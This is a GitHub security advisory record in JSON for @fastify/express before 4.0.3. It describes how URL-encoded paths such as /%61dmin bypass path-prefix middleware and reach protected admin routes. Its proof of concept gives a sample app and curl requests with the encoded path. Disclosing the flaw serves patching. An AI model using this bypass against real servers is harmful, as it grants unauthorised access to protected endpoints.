{"id":"GHSA-g6q3-96cp-5r5m","summary":"@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)","details":"### Summary\nA security vulnerability exists in `@fastify/express` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `@fastify/express` matches requests against registered middleware paths.\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n\n```javascript\nconst fastify = require('fastify')({ logger: true });\n\nasync function start() {\n  // Register fastify-express for Express-style middleware support\n  await fastify.register(require('@fastify/express'));\n\n  // Middleware to block /admin route\n  fastify.use('/admin', (req, res, next) =\u003e {\n    res.statusCode = 403;\n    res.end('Forbidden: Access to /admin is blocked');\n  });\n\n  // Sample routes\n  fastify.get('/', async (request, reply) =\u003e {\n    return { message: 'Welcome to the homepage' };\n  });\n\n  fastify.get('/admin', async (request, reply) =\u003e {\n    return { message: 'Admin panel' };\n  });\n\n  fastify.get('/admin/dashboard', async (request, reply) =\u003e {\n    return { message: 'Admin dashboard' };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3000 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n\n```\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003ctitle\u003eError\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre\u003eCannot GET /%61dmin\u003c/pre\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n(fastify express)\n\n➜  ~ curl http://206.189.140.29:3000/%61dmin\n{\"message\":\"Admin panel\"}\n```\n\nIt differs from [CVE-2026-22031](https://nvd.nist.gov/vuln/detail/CVE-2026-22031) because this is a different npm module with its own code.","aliases":["CVE-2026-22037"],"modified":"2026-02-03T03:03:59.297504Z","published":"2026-01-20T16:35:21Z","database_specific":{"github_reviewed_at":"2026-01-20T16:35:21Z","nvd_published_at":"2026-01-19T17:15:50Z","cwe_ids":["CWE-177","CWE-288"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/fastify/fastify-express/security/advisories/GHSA-g6q3-96cp-5r5m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22037"},{"type":"WEB","url":"https://github.com/fastify/fastify-express/commit/dc02a3fe1387f945143f22597baa42557d549a40"},{"type":"PACKAGE","url":"https://github.com/fastify/fastify-express"},{"type":"WEB","url":"https://github.com/fastify/fastify-express/releases/tag/v4.0.3"}],"affected":[{"package":{"name":"@fastify/express","ecosystem":"npm","purl":"pkg:npm/%40fastify/express"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.0.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 4.0.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-g6q3-96cp-5r5m/GHSA-g6q3-96cp-5r5m.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L"}]}